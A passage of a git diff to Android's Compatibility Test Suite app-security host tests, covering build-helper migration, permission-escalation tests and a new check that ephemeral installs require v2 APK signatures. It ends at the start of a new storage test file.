 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
+        assertNotNull(mBuildHelper);
 
-        getDevice().uninstallPackage(PKG);
+        getDevice().uninstallPackage(USES_PERMISSION_PKG);
+        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
 
-        getDevice().uninstallPackage(PKG);
+        getDevice().uninstallPackage(USES_PERMISSION_PKG);
+        getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
     }
 
     public void testFail() throws Exception {
         // Sanity check that remote failure is host failure
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testFail");
-            fail("Expected remote failure");
         } catch (AssertionError expected) {
+            didThrow = true;
+        }
+        if (!didThrow) {
+            fail("Expected remote failure");
         }
     }
 
     public void testKill() throws Exception {
         // Sanity check that remote kill is host failure
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testKill");
-            fail("Expected remote failure");
         } catch (AssertionError expected) {
+            didThrow = true;
+        }
+        if (!didThrow) {
+            fail("Expected remote failure");
         }
     }
 
     public void testCompatDefault22() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_22),
-                false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatDefault");
     }
 
     public void testCompatRevoked22() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_22),
-                false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                     "testCompatRevoked_part1");
-            fail("App must be killed on a permission revoke");
         } catch (AssertionError expected) {
+            didThrow = true;
         }
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        if (!didThrow) {
+            fail("App must be killed on a permission revoke");
+        }
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testCompatRevoked_part2");
     }
 
     public void testNoRuntimePrompt22() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_22),
-                false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testNoRuntimePrompt");
     }
 
     public void testDefault23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testDefault");
     }
 
     public void testGranted23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testGranted");
     }
 
     public void testInteractiveGrant23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testInteractiveGrant");
     }
 
     public void testRuntimeGroupGrantSpecificity23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRuntimeGroupGrantSpecificity");
     }
 
     public void testRuntimeGroupGrantExpansion23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRuntimeGroupGrantExpansion");
     }
 
     public void testCancelledPermissionRequest23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testCancelledPermissionRequest");
     }
 
     public void testRequestGrantedPermission23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestGrantedPermission");
     }
 
     public void testDenialWithPrejudice23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testDenialWithPrejudice");
     }
 
     public void testRevokeAffectsWholeGroup23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testRevokeAffectsWholeGroup_part1");
         } catch (AssertionError expected) {
+            didThrow = true;
         }
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        if (!didThrow) {
+            fail("Should have thrown an exception.");
+        }
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokeAffectsWholeGroup_part2");
     }
 
     public void testGrantPreviouslyRevokedWithPrejudiceShowsPrompt23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                     "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
-            fail("App must be killed on a permission revoke");
         } catch (Throwable expected) {
+            didThrow = true;
         }
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        if (!didThrow) {
+            fail("App must be killed on a permission revoke");
+        }
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part2");
     }
 
     public void testRequestNonRuntimePermission23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestNonRuntimePermission");
     }
 
     public void testRequestNonExistentPermission23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestNonExistentPermission");
     }
 
     public void testRequestPermissionFromTwoGroups23() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRequestPermissionFromTwoGroups");
     }
 
 //    public void testOnlyRequestedPermissionsGranted24() throws Exception {
-//        assertNull(getDevice().installPackage(
-//                MigrationHelper.getTestFile(mCtsBuild, APK_24), false, false));
+//        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_24), false, false));
 //        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest24",
 //                "testOnlyRequestedPermissionsGranted");
 //    }
 
     public void testUpgradeKeepsPermissions() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_22), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                 "testAllPermissionsGrantedByDefault");
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testAllPermissionsGrantedOnUpgrade");
     }
 
     public void testNoDowngradePermissionModel() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        boolean didThrow = false;
         try {
-            assertNull(getDevice().installPackage(
-                    MigrationHelper.getTestFile(mCtsBuild, APK_22), true, false));
-            fail("Permission mode downgrade not allowed");
+            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), true, false));
         } catch (AssertionError expected) {
+            didThrow = true;
+        }
+        if (!didThrow) {
+            fail("Permission mode downgrade not allowed");
         }
     }
 
     public void testNoResidualPermissionsOnUninstall() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testNoResidualPermissionsOnUninstall_part1");
-        assertNull(getDevice().uninstallPackage(PKG));
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().uninstallPackage(USES_PERMISSION_PKG));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testNoResidualPermissionsOnUninstall_part2");
     }
 
     public void testRevokePropagatedOnUpgradeOldToNewModel() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_22), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), false, false));
+        boolean didThrow = false;
         try {
-            runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest22",
+            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
                     "testRevokePropagatedOnUpgradeOldToNewModel_part1");
-            fail("App must be killed on a permission revoke");
         } catch (AssertionError expected) {
+            didThrow = true;
         }
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        if (!didThrow) {
+            fail("App must be killed on a permission revoke");
+        }
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeOldToNewModel_part2");
     }
 
     public void testRevokePropagatedOnUpgradeNewToNewModel() throws Exception {
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), false, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeNewToNewModel_part1");
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, APK_23), true, false));
-        runDeviceTests(PKG, "com.android.cts.usepermission.UsePermissionTest23",
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeNewToNewModel_part2");
     }
 
+    public void testNoPermissionEscalation() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+                APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+        runDeviceTests(ESCALATE_PERMISSION_PKG,
+                "com.android.cts.escalatepermission.PermissionEscalationTest",
+                "testCannotEscalateNonRuntimePermissionsToRuntime");
+    }
+
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 291bfda..e87c390 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,11 @@
 
 package android.appsecurity.cts;
 
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
 import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileOutputStream;
@@ -24,12 +29,6 @@
 import java.io.OutputStream;
 import java.util.Locale;
 
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
 /**
  * Tests for APK signature verification during installation.
  */
@@ -44,10 +43,6 @@
     private static final String[] RSA_KEY_NAMES_2048_AND_LARGER =
             {"2048", "3072", "4096", "8192", "16384"};
 
-
-    /** Device under test. */
-    private ITestDevice mDevice;
-
     private IBuildInfo mCtsBuild;
 
     @Override
@@ -58,7 +53,8 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mDevice = getDevice();
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
         uninstallPackage();
     }
@@ -471,6 +467,14 @@
         assertInstallSucceeds("v2-only-max-sized-eocd-comment.apk");
     }
 
+    public void testInstallEphemeralRequiresV2Signature() throws Exception {
+        String expectedNoSigError = "No APK Signature Scheme v2 signature in ephemeral package";
+        assertInstallEphemeralFailsWithError("unsigned-ephemeral.apk", expectedNoSigError);
+        assertInstallEphemeralFailsWithError("v1-only-ephemeral.apk", expectedNoSigError);
+        assertInstallEphemeralSucceeds("v2-only-ephemeral.apk");
+        assertInstallEphemeralSucceeds("v1-v2-ephemeral.apk"); // signed with both schemes
+    }
+
     public void testInstallEmpty() throws Exception {
         assertInstallFailsWithError("empty-unsigned.apk", "Unknown failure");
         assertInstallFailsWithError("v1-only-empty.apk", "Unknown failure");
@@ -484,6 +488,13 @@
         }
     }
 
+    private void assertInstallEphemeralSucceeds(String apkFilenameInResources) throws Exception {
+        String installResult = installEphemeralPackageFromResource(apkFilenameInResources);
+        if (installResult != null) {
+            fail("Failed to install " + apkFilenameInResources + ": " + installResult);
+        }
+    }
+
     private void assertInstallSucceedsForEach(
             String apkFilenamePatternInResources, String[] args) throws Exception {
         for (String arg : args) {
@@ -515,6 +526,19 @@
                 installResult);
     }
 
+    private void assertInstallEphemeralFailsWithError(
+            String apkFilenameInResources, String errorSubstring) throws Exception {
+        String installResult = installEphemeralPackageFromResource(apkFilenameInResources);
+        if (installResult == null) {
+            fail("Install of " + apkFilenameInResources + " succeeded but was expected to fail"
+                    + " with \"" + errorSubstring + "\"");
+        }
+        assertContains(
+                "Install failure message of " + apkFilenameInResources,
+                errorSubstring,
+                installResult);
+    }
+
     private void assertInstallFails(String apkFilenameInResources) throws Exception {
         String installResult = installPackageFromResource(apkFilenameInResources);
         if (installResult == null) {
@@ -533,7 +557,7 @@
         }
     }
 
-    private String installPackageFromResource(String apkFilenameInResources)
+    private String installPackageFromResource(String apkFilenameInResources, boolean ephemeral)
             throws IOException, DeviceNotAvailableException {
         // ITestDevice.installPackage API requires the APK to be install to be a File. We thus
         // copy the requested resource into a temporary file, attempt to install it, and delete the
@@ -553,13 +577,27 @@
                     out.write(buf, 0, chunkSize);
                 }
             }
-            return mDevice.installPackage(apkFile, true);
+            if (ephemeral) {
+                return getDevice().installPackage(apkFile, true, "--ephemeral");
+            } else {
+                return getDevice().installPackage(apkFile, true);
+            }
         } finally {
             apkFile.delete();
         }
     }
 
+    private String installPackageFromResource(String apkFilenameInResources)
+            throws IOException, DeviceNotAvailableException {
+        return installPackageFromResource(apkFilenameInResources, false);
+    }
+
+    private String installEphemeralPackageFromResource(String apkFilenameInResources)
+            throws IOException, DeviceNotAvailableException {
+        return installPackageFromResource(apkFilenameInResources, true);
+    }
+
     private String uninstallPackage() throws DeviceNotAvailableException {
-        return mDevice.uninstallPackage(TEST_PKG);
+        return getDevice().uninstallPackage(TEST_PKG);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index be3f83a..630f351 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -16,8 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -25,6 +24,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 /**
  * Tests that verify intent filters.
@@ -47,7 +47,7 @@
             + " com.android.cts.priv.ctsshim";
 
     private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
+    private CompatibilityBuildHelper mBuildHelper;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -56,21 +56,21 @@
 
     @Override
     public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
     }
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
+        assertNotNull(mBuildHelper);
 
         getDevice().uninstallPackage(SHIM_PKG);
         getDevice().uninstallPackage(TEST_PKG);
 
-        assertNull(getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, TEST_APK), false));
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(TEST_APK), false));
         getDevice().executeShellCommand("pm enable " + SHIM_PKG);
     }
 
@@ -86,7 +86,7 @@
     public void testPrivilegedAppUpgradeRestricted() throws Exception {
         getDevice().uninstallPackage(SHIM_PKG);
         assertEquals(RESTRICTED_UPGRADE_FAILURE, getDevice().installPackage(
-                MigrationHelper.getTestFile(mCtsBuild, SHIM_UPDATE_FAIL_APK), true));
+                mBuildHelper.getTestFile(SHIM_UPDATE_FAIL_APK), true));
     }
 
     public void testSystemAppPriorities() throws Exception {
@@ -102,7 +102,7 @@
         
         try {
             assertNull(getDevice().installPackage(
-                    MigrationHelper.getTestFile(mCtsBuild, SHIM_UPDATE_APK), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             runDeviceTests(TEST_PKG, ".PrivilegedUpdateTest", "testPrivilegedAppUpgradePriorities");
         } finally {
             getDevice().uninstallPackage(SHIM_PKG);
@@ -121,7 +121,7 @@
         runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testPrivAppAndEnabled");
         try {
             assertNull(getDevice().installPackage(
-                    MigrationHelper.getTestFile(mCtsBuild, SHIM_UPDATE_APK), true));
+                    mBuildHelper.getTestFile(SHIM_UPDATE_APK), true));
             getDevice().executeShellCommand("pm disable-user " + SHIM_PKG);
             runDeviceTests(TEST_PKG, ".PrivilegedAppDisableTest", "testUpdatedPrivAppAndDisabled");
             getDevice().executeShellCommand("pm enable " + SHIM_PKG);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index ad00adb..9474ba8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -16,21 +16,14 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
 import java.util.HashMap;
-import java.util.List;
 
 /**
  * Tests that verify installing of various split APKs from host side.
@@ -103,6 +96,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
@@ -312,133 +306,6 @@
         }
     }
 
-    public static class BaseInstallMultiple<T extends BaseInstallMultiple<?>> {
-        private final ITestDevice mDevice;
-        private final IBuildInfo mBuild;
-        private final IAbi mAbi;
-
-        private final List<String> mArgs = new ArrayList<>();
-        private final List<File> mApks = new ArrayList<>();
-        private boolean mUseNaturalAbi;
-
-        public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
-            mDevice = device;
-            mBuild = buildInfo;
-            mAbi = abi;
-            addArg("-g");
-        }
-
-        T addArg(String arg) {
-            mArgs.add(arg);
-            return (T) this;
-        }
-
-        T addApk(String apk) throws FileNotFoundException {
-            mApks.add(MigrationHelper.getTestFile(mBuild, apk));
-            return (T) this;
-        }
-
-        T inheritFrom(String packageName) {
-            addArg("-r");
-            addArg("-p " + packageName);
-            return (T) this;
-        }
-
-        T useNaturalAbi() {
-            mUseNaturalAbi = true;
-            return (T) this;
-        }
-
-        T locationAuto() {
-            addArg("--install-location 0");
-            return (T) this;
-        }
-
-        T locationInternalOnly() {
-            addArg("--install-location 1");
-            return (T) this;
-        }
-
-        T locationPreferExternal() {
-            addArg("--install-location 2");
-            return (T) this;
-        }
-
-        T forceUuid(String uuid) {
-            addArg("--force-uuid " + uuid);
-            return (T) this;
-        }
-
-        void run() throws DeviceNotAvailableException {
-            run(true);
-        }
-
-        void runExpectingFailure() throws DeviceNotAvailableException {
-            run(false);
-        }
-
-        private void run(boolean expectingSuccess) throws DeviceNotAvailableException {
-            final ITestDevice device = mDevice;
-
-            // Create an install session
-            final StringBuilder cmd = new StringBuilder();
-            cmd.append("pm install-create");
-            for (String arg : mArgs) {
-                cmd.append(' ').append(arg);
-            }
-            if (!mUseNaturalAbi) {
-                cmd.append(' ').append(AbiUtils.createAbiFlag(mAbi.getName()));
-            }
-
-            String result = device.executeShellCommand(cmd.toString());
-            assertTrue(result, result.startsWith("Success"));
-
-            final int start = result.lastIndexOf("[");
-            final int end = result.lastIndexOf("]");
-            int sessionId = -1;
-            try {
-                if (start != -1 && end != -1 && start < end) {
-                    sessionId = Integer.parseInt(result.substring(start + 1, end));
-                }
-            } catch (NumberFormatException e) {
-            }
-            if (sessionId == -1) {
-                throw new IllegalStateException("Failed to create install session: " + result);
-            }
-
-            // Push our files into session. Ideally we'd use stdin streaming,
-            // but ddmlib doesn't support it yet.
-            for (int i = 0; i < mApks.size(); i++) {
-                final File apk = mApks.get(i);
-                final String remotePath = "/data/local/tmp/" + i + "_" + apk.getName();
-                if (!device.pushFile(apk, remotePath)) {
-                    throw new IllegalStateException("Failed to push " + apk);
-                }
-
-                cmd.setLength(0);
-                cmd.append("pm install-write");
-                cmd.append(' ').append(sessionId);
-                cmd.append(' ').append(i + "_" + apk.getName());
-                cmd.append(' ').append(remotePath);
-
-                result = device.executeShellCommand(cmd.toString());
-                assertTrue(result, result.startsWith("Success"));
-            }
-
-            // Everything staged; let's pull trigger
-            cmd.setLength(0);
-            cmd.append("pm install-commit");
-            cmd.append(' ').append(sessionId);
-
-            result = device.executeShellCommand(cmd.toString());
-            if (expectingSuccess) {
-                assertTrue(result, result.startsWith("Success"));
-            } else {
-                assertFalse(result, result.startsWith("Success"));
-            }
-        }
-    }
-
     public void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
new file mode 100644
index 0000000..4a736b4
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that exercise various storage APIs.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StorageHostTest extends CompatibilityHostTestBase {
+    private static final String PKG_STATS = "com.android.cts.storagestatsapp";
+    private static final String PKG_A = "com.android.cts.storageapp_a";
+    private static final String PKG_B = "com.android.cts.storageapp_b";
